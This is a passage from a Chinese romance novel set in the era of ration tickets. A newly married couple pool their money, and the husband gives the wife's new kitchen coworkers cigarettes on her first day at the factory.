祁衿南笑的开心:“行,都听你的。” 向晴没理他,继续吃起来,两个饭盒很快见底,她才满足的放下筷子。 见祁衿南有些惊讶地看着她,向晴反问:“怎么了,是觉得我吃的多啊?” 祁衿南立马解释:“我只是惊讶,你小小的一个人,居然胃口这么好,看来以后我还得多挣些钱来养家糊口,不能让你饿着了。” 向晴笑:“我自己也有工资好不好,而且你置办这些家具肯定花了不少钱,以后家里的开销我来出。” 祁衿南花了这么多钱在这个家,向晴自己也不能落后,而且他那份工作只是临时的,肯定挣得不算多,搬出来住家里也不可能给钱,向晴料想他现在应该是身无分文,但是为了照顾他的面子,又不好直说,只说是花她的。 祁衿南见向晴一副认真的样子,不禁被她逗笑:“好,以后就靠老婆来养我了。” 向晴以为他多多少少还会芥蒂,觉得花女人的钱没有面子,没想到他却答应的这么爽快,她果然和之前一样,一如既往地猜不透他的心思。 向晴把饭盒扣起来,擦了擦桌子,酝酿了一会儿开口道:“我能问你个问题吗?” 祁衿南好像早就等着她问似的,巴巴的点了点头,等着她开口。 “你现在......”向晴顿了顿,“一个月能挣多少钱啊?” 她完全没有其他意思,即使祁衿南比她挣得少她也不会看不起他,只是现在两个人住在一起,是要一起过日子的,周芳说过日子挣的钱都要省着花,要花在刀刃上,这样才能让一个家长久。 祁衿南如实道:“我在报社挣得不多,一个月三十。” 果然,向晴就知道他挣得没有自己多的,她转念又一想,那这些家具又是怎么买来的? 向晴想着,就听祁衿南接着说道:“但是我还在做一些其他的活儿,一个月七七八八能有个三四十。” “其他的活儿?什么活儿?”向晴还从来没听他说过。 “给别人拍照,李岩奶奶家有个不住的小屋子,我们把它改成了照相馆,平时报社不忙的时候,我都在那里给别人拍照,比外面的照相馆便宜。” 他接受李岩的提议,在报社工作,就是为了能用相机,他得趁着手里有相机的时候,多赚些钱,攒着钱买一台自己的相机,那他就可以想什么时候拍就什么时候拍。 向晴和之前的事情串了串,问道:“所以你回来一直没去找我,就是一直在忙着给别人拍照赚钱,然后置办家具?” 祁衿南:“我才回来不久,即使接私活这些钱也肯定不够。” 他顿了顿,如实答道:“还有我姐,她资助了我一部分。” 那就都对得上了,也只有青西姐能拿出这么一大笔钱借给他。 “那我们得把钱还给青西姐。”向晴盘算着从自己那一千块里,拿出一部分把这个窟窿填上。 “你放心,我姐那儿我会处理的,她现在不急着用钱,等我攒够了我会还她的。”祁衿南说着,从裤兜里掏出一把钱,“这些是我现在的全部积蓄,以后我赚了钱,除了要还给我姐的,余下的都交给你。” 向晴盯着那一把褶皱的零钱没有出声,这一瞬间结婚成家的真实感扑面而来,她好像看到了父亲每次发工资,把钱交到母亲手上的画面,每到这个时候,母亲都会把钱数一遍,再叠的整整齐齐用手绢包上,至于放到哪里,向晴不知道,她唯一知道的是,那绝对是个一般人找不到的地方。 祁衿南见向晴低着头也不说话,以为她是觉得少,忙下决心道:“我会加倍努力的,照相馆那边已经有点起色了,来的人只会越来越多,一定不会让你跟着我吃苦的。” 向晴拨拉出一半的钱推回去,她瞅着大概有个二十左右,一人拿一半儿。 “我不是嫌少,你能把钱交给我,说明你信任我,我妈说,夫妻之间最重要的就是彼此信任。”她拿好自己那一叠,叠整齐,“我先拿一半儿,剩下的你留着,你一个男人出门在外身上不能没钱。” 祁衿南听到向晴这样说,心里喜滋滋的,也不推脱,把剩下的钱原封不动的装回裤兜。 “对了。”向晴又多问了一句,“你这么做,不会被出什么事吧。” 祁衿南这么做,其实也算是投机倒把,他用报社的相机,给其他人拍照换取收益,要是被举报,说不好是要被抓的。 祁衿南当然也考虑到了这一点,原本他也有些顾虑,但是他在报纸上看到一些新闻,字里行间的意思是未来应该在这方面会有松动,他现在先小规模的做,边观察风向边攒钱。 目前他和李岩做的很隐秘,几乎不会被人发现,向晴是第三个知道的人。 向晴知道他心里有数也不再说什么,只说让他小心,千万不要被发现。 晚上,外面忽然起了风,呼啸的北风卷着寒意阵阵敲打在玻璃窗上,屋里炉子上烧的热水也开始吱哇乱叫起来。 祁衿南提起水壶,盖上炉盖,说道:“水开了,你先泡个脚,今天累了一天了,解解乏。” 向晴找好明天上班换的衣服放在枕边,等她脱下袜子,祁衿南已经把洗脚水倒好了。 “来,试试水温怎么样,不够热的话我再给你添点热水。”祁衿南提着水壶立在向晴对面,看着她把脚放进脚盆,先是用脚趾轻轻点了点,发现水温合适,又把整个脚跑进去。 “正好,不用加了。”向晴舒服的闭上眼睛,把身子往后放了放,热气顺着脚往上游走,一天的疲乏好像消解了不少。 祁衿南怕她冷,又给她灌了一个暖水袋放在脚底,向晴偷偷瞄了一眼,嘴角忍不住扬了起来。 脸和脚都洗完了,向晴还是想擦擦身子,今天她收拾热了,身上出了些汗,她看了眼在洗漱的祁衿南,这让她很是为难。 她磨磨蹭蹭了半天没有上床,最终想要干净的心还是打败了害羞。 “那个......”向晴咬着下嘴唇,犹豫了半天才蚊子叮一般的张开口:“我想...我想擦个身子。” 祁衿南正拿着毛巾在脸上一通擦,完全没听清向晴的话。 他拿掉毛巾,一脸湿漉漉的望向向晴:“你说什么?” 向晴重新鼓足了气,但是话到嘴边又变得小声起来:“我说,我想擦个身子。”< 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前前后后大概也就七八分钟,向晴换上干净的秋衣,又把灯打开,说:“好了,你出来吧。” 祁衿南闻声立马把被子从头上掀开,大口大口的喘着气。 向晴回到床上,把脏衣服收好,等明天下了班再洗。 “早点睡吧,明天就要上班了,我还要早起。”向晴明天就要去二厂报道,这里离二厂很近,所以她可以比平时晚十分钟起床。 向晴一进被窝就感觉脚底热乎乎的,原本她一到冬天就手脚冰凉,睡觉的时候都会在脚底再搭个被子,现在暖暖和和的,让她既安心又开心。 那边,祁衿南熄了灯,又窸窸窣窣的动了好一会儿,才回到行军床上,向晴以为他是在找衣服换衣服,也没多想。 “对了。”向晴忽然又想起一件事,“我早饭都是去食堂吃的,那你怎么办?” 祁衿南也裹好被子,说:“我好解决,去五婶儿那儿吃一口就行。” 向晴:“咱这么天天去五婶儿那吃饭还是不合适,她们家就她一个挣工资的还要供一个高中生读书,赶明儿我拿些粮票和钱,你拿给五婶儿。” “行,都听你的。” 向晴继续道:“我平时上班的时候,一日三餐都是在食堂吃,要是有夜班,晚上回来的也晚,你只能也在食堂吃了。” “等周末的时候,你就可以尝尝我的手艺了,做饭我还是很有自信的。”向晴有些得意的说道。 祁衿南扬起嘴角:“能不能明天就是周末。” 向晴笑:“想得美。” 祁衿南:“以后你晚上下班我都去接你。” 虽然这里离她们厂子很近,但是向晴有时候晚班下班的时候天已经黑了,他还是不放心让她自己回。 向晴拒绝道:“不用,这才几步路,我白天去看过了,都是大路,十分钟就到家了。” 祁衿南坚持:“不行,这事儿你得听我的,明天下午我会准时出现在你们厂门口的。” 向晴拗不过他,只好答应:“那好吧,那你记得多穿点。” 之后两个人又说了些有的没的,说着说着向晴就不出声了,直到听到一阵均匀的呼吸声,祁衿南知道他是睡着了。 外面静悄悄的,只有偶尔一阵风吹来的呼啸声传来,他在插队的时候是和五个人一起挤在大通铺上的,冬天的时候外面也是吹着风,但是他只能听见此起彼伏的呼噜声,风的声音早就被盖过。 他当时还以为自己会过一辈子那种日子,原本想着明年找个时间回来,把婚离了,他不能耽误向晴一辈子,但是没想到现在两个人不仅没有离婚,还住到了一起,和其他夫妻一样。 冬夜既漫长又孤寂,但是这次有人陪他一起。 14. 第 14 章 熟悉的生物钟再一次让向晴从睡梦中醒来,她抬头看了眼对面柜子上的钟表,天还没亮,她眯着眼看去,凭借指针的位置大致判断出时间,大概在五点半左右。 她又瞥了一眼还在熟睡的祁衿南,还在均匀的发出呼吸声。 不想把祁衿南吵醒,向晴蹑手蹑脚的开始穿着衣服,一掀开被子就被一股寒气笼罩着,鼻尖也是凉凉的,她喜欢嘟起嘴唇,让上嘴唇感受鼻尖的凉意。 向晴迅速穿戴整齐,又把被子叠好,暖水袋也已经冷却,她放在枕边等着晚上回来再换水。 绕过祁衿南,向晴开始洗漱,即便她再小心,倒水的声音还是吵醒了祁衿南。 只听他略微低沉着沙哑的嗓音问道:“几点了?” 向晴小声说:“还早呢,现在才不到六点,你再睡会儿吧,我马上就走。” 说着她手上的动作也跟着加快起来。 谁知道祁衿南腾的一下坐了起来,开始套衣服,“我去送你。” 向晴正刷着牙,见他起来忙阻止,嘴里含糊不清的嘟嘟囔囔着。 祁衿南笑着说:“今天是你去新厂上班的第一天,我怎么能让你自己去呢,明天,明天我就不送你了,今天我得去。” 看他已经穿好,向晴也没再阻拦,想去就去吧,路上还有人能陪她说说话。 临走前,她掏出昨天准备好的粮票和钱塞给祁衿南,让他等会儿拿给五婶儿。 祁衿南刮了一下她的鼻尖,说她是个爱操心的小老太太。 向晴瞥见他今天有些不一样,两个衣兜里十分鼓囊,还以为是装了两幅手套在兜里,也没多想。 六点整,两个人从家里出发。 向晴裹得厚厚的只露出个眼睛,祁衿南推出车子,两个人上了路。 路上,祁衿南嘱咐向晴:“你的手这几天刚好点,能不沾水就别沾水。” 这哪是她能决定的,她的工作就是做帮厨,怎么可能不碰水,她这次调来二厂,就是为了看看有没有机会可以和大厨学点手艺,希望有一天,她能做主厨。 心里虽然知道不可能,但是嘴上还是答应了祁衿南,尽量不碰。 祁衿南就知道她会应付他,但是他也只是嘴上那么一提,没真指望向晴能听他的。 昨天白天祁衿南也来踩过点,所以路很熟,没一会儿,两人就到了二厂。 这个时间来的人很少,只有零星几个,应该都是后厨的人。 向晴正想和祁衿南告别,谁知对方完全没有离开的意思,把车推到一边停好,那架势是要和向晴一起进去的。 祁衿南十分自然地说道:“走吧,进去吧。” 向晴拉住他的胳膊:“送到这儿就行了。” “我进去看看你现在工作的环境,不会打扰你的工作的,你放心吧。”祁衿南说完就大刀阔斧的往前走。 向晴一头雾水的跟在后面,不知道他想搞什么名堂。 二厂和一厂的格局完全不一样,一厂的食堂在进门处不远,二厂的食堂挨着车间。 两个人差点没找到,幸好遇到一位同是后厨的人,把他们一起带了过去。 这位向晴的新同事是个年纪不大的小伙子,名叫陈元。 他很热情的和向晴打了招呼,说年前主任就和他们说年后后厨要来一位新人,还是个年轻的姑娘,他们还不相信,怎么会有小姑娘愿意到后厨吃苦。 现在见了真人,才知道是真的,心里估摸着她是得罪了人,才被调到了后厨,也是个可怜的小姑娘,以后能帮多帮衬点。 面上还笑着说:“其实我们这儿后厨人早就够了,你过来也做不了什么。” 祁衿南听了这话很开心,那不是正合他意。 向晴:“多多少少能帮到大家就好。” 此时后厨的人已经来的差不多了,毕竟是第一天复工,灶台厨具都需要打扫干净,大家都在各司其事,搬白菜的搬白菜,烧热水的烧热水,洗碗的洗碗,生火的生火,井井有条。 不像一厂,这种时候,两派人都不想干活儿,必须等着各自的头头发话了,指哪打哪,否则不可能动起来的。 “杨主任,你看我把谁带来了。”陈元笑呵呵的把人往进领。 现在天刚微微亮,后厨里开着灯,一听声音,所有人都向门口看去。 被叫杨主任的是一个中年男人,头顶已经秃了,前面有几缕头发盘成圈盖在秃顶的地方,一双浓眉直直的横在眼睛上方,看上去有些凶狠,但是短小的身量又弥补了一些面相上的凶气,还有几分滑稽。 杨重宇正操/着扫把扫着地,闻声抬头看去,一只手扶在扫帚,另一只手用五根手指往后梳了一把稀疏的头发,看见向晴眼睛一眯,说道:“厂长和我说,年后会有一位新同志到我们后厨工作,你就是那个新同志吧。” 说罢,他又不着痕迹的瞅了一眼向晴身边高大到无法忽视的祁衿南,厂长只和他说会来一个女同志,可没说还有一位男同志。 向晴摘下围巾口罩,笑着自我介绍:“杨主任,您好,我叫向晴,是从一厂调到二厂的,以后就要和大家一起工作了,希望大家可以多多关照。” 杨重宇看这姑娘年纪轻轻,长着一副俊秀的模样,说话也很礼貌,在这后厨工作属实是委屈他了,他们后厨都是一帮大老爷们儿,脏活儿累活儿什么都干,她一个小姑娘怎么吃的消。 祁衿南适时响起的声音打破宁静,他笑着走上前,拿出兜里的准备好的烟塞到杨重宇手里,然后双手握住,摆出一副握手的姿势,配合着杨重宇的高度弯下腰。 他堆着一脸笑意说:“杨主任,我是向晴的丈夫,之前因为我的原因,她被调到了后厨,这几年把手折腾的不像样子,现在到了咱这儿,还希望您能多多照顾照顾,” 杨重宇见大家都看着,手里的烟也不好要下,心想这小伙子送东西怎么还当着这么多人的面,这种事情不应该私下说吗。 接着就又听祁衿南说:“大家好,我是这位新来的同志的丈夫,我叫祁衿南,我爱人一个女孩子,干不了太重的活,尤其是手不能沾水,以后还请大家能够多多帮忙照顾照顾,我给大家准备了一点小心意,希望大家可以收下。” 说罢,祁衿南绕着圈从灶台开始,拿出兜里的中华烟,往每个人手里都塞了一包,还顺便和人家握了握手,嘴里不停的说着“麻烦您了”。 向晴就这么看着他轮流转了一圈,最后回到她身边,又拿出一包烟递给陈元。 陈元是最后一个拿到的,他欣喜的笑着说:“还有我的呢。” 祁衿南:“那肯定有你的,以后你多帮衬着你向晴姐一点,更好的东西还在后边呢。” “诶,谢谢姐夫。”陈元嘴甜的答应下,笑眯眯的看了一眼包装,开心的把烟装到上衣兜里。 这声姐夫对祁衿南很受用,今天他来这儿第一是给向晴“贿赂”一下同事,第二就是亮出自己的身份。 这后厨都是男的,还有好几个年轻的小伙子,保不齐对向晴产生什么想法,他要在这些想法产生之前就按灭在摇篮里。 在大家以为祁衿南的“行贿”已经结束,向晴也正要拉他出去问问怎么一回事,就听他又说:“刚刚是一点小心意不成敬意,我是在报社上班的,以后大家要是有什么拍照需求可以来找我,咱就收个底片费,一分不会和大家多要,能在一起工作就是缘分,为了这份缘分,希望大家都能和向晴同志和谐相处。” 原本只是一盒烟,确实不算什么太大的礼物,但是这烟可是中华的,大多数人只是听过根本没有抽过,这种稀罕的东西,有钱都买不到,需要特供烟票才能搞到。 他们这里本来就不缺人,每个人手头上的活儿都是固定的,一听来的是个女同志,根本没有指望她能帮上多少,不添麻烦就行了。 没想到现在人家的丈夫主动送起了烟来,还说可以找他拍照片,虽然一年到头也拍不了几张,但是拍一张价格也不低,都够吃好几顿肉了。 最重要的是,这个女同志的丈夫又是送好烟,又是在报社工作,家里条件肯定不差,没准是哪个领导的孩子,多一个朋友多条路,不用费力就能得到的好处,大家何乐而不为。 杨重宇一看,合着不光他自己有,所有人都有,怪不得这么 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他昨天趁他妈不在回了一趟家,悄悄地把烟揣在了身上,恰好祁世海从书房里出来倒水,撞了个正着。 他和祁世海解释了几句,说是拿点落在家里的东西,祁世海也没有怀疑。 “那你都不提前和我打个招呼,让我有点心理准备。”向晴埋怨道,她一个当事人呆呆地站在那儿不知所措。 “我这不是怕你心疼就不让送了嘛,我总不能因为这点东西,看着你的手继续裂下去吧。” 说着,祁衿南抓起了向晴的手,大拇指在上面磨搓着,还是一样涩涩的,比他下地的手都糙了许多。 向晴心想,这倒是有可能,要是她知道了,估计会和他争论一番,现在送都送了,她也不能说什么,人家都是为了她,她再去挑刺会寒了他的心。 “谢谢。” 向晴说的极为轻声,但还是落入了祁衿南的耳中。 他弯着眼角,揉了揉她的头发,柔声道::“和我说什么谢,只要你好好的,我就开心。” “对了。”祁衿南又从裤兜里拿出最后一盒烟,塞到向晴兜里,“这个你拿给杨主任,人家怎么说也是领导,和其他人拿一样多,心里少会有些意见,等会儿你私下自己拿给他。” 向晴摸了摸口袋,看向祁衿南,以前他总觉得祁衿南有一种知识分子的高傲感,别说送礼了,就是让他违心说几句好听的话他也是不肯的,但是现在,他居然也精通起了人情世故,看样子下乡还是带给他不少改变,把一个心气高傲的少年人磋磨成了一个完美融入社会规则的大人。 “祁衿南,你变了。” 祁衿南愣住了,笑容僵在脸上一时不知作何表情,半晌露出一个自嘲的笑容,语气落寞道:“是不是让你失望了。” “不。”向晴坚定的否认,“你又不偷不抢,没干违法乱纪的事情,我为什么要失望,我开心还来不及呢,你总算是有了点人气儿了,感觉离你没那么远了。” 祁衿南被她这番话逗笑,“什么叫‘有了点人气儿’,你这意思是我以前不是人啊。” 向晴帮他回忆:“你自己不知道你以前什么样儿吗,清高的要死,读了点书就这看不上那瞧不起的。” 祁衿南笑着摸了摸向晴的头:“原来我以前在你心里就是这种形象,那你还愿意和我结婚。” 向晴拨拉开他的手,“当然,还是有一些优点的。” “哦?什么优点,说来我听听。”祁衿南来了兴趣,毕竟谁不想听别人夸自己呢,对方还是他喜欢的人。 向晴一时间还真说不上来,她也没总结过,脑子里正旋风狂起想着怎么编几个出来,就听见门那边的陈元在喊她。 “向晴姐,主任叫你。” 就像入了虎口的羊被救下一样,向晴留下句“我先过去了,你赶快回去吧”,就头也不回的小跑离开,祁衿南看着向晴落荒而逃的样子,忍俊不禁。 他想,迟早他要从她嘴里问出来。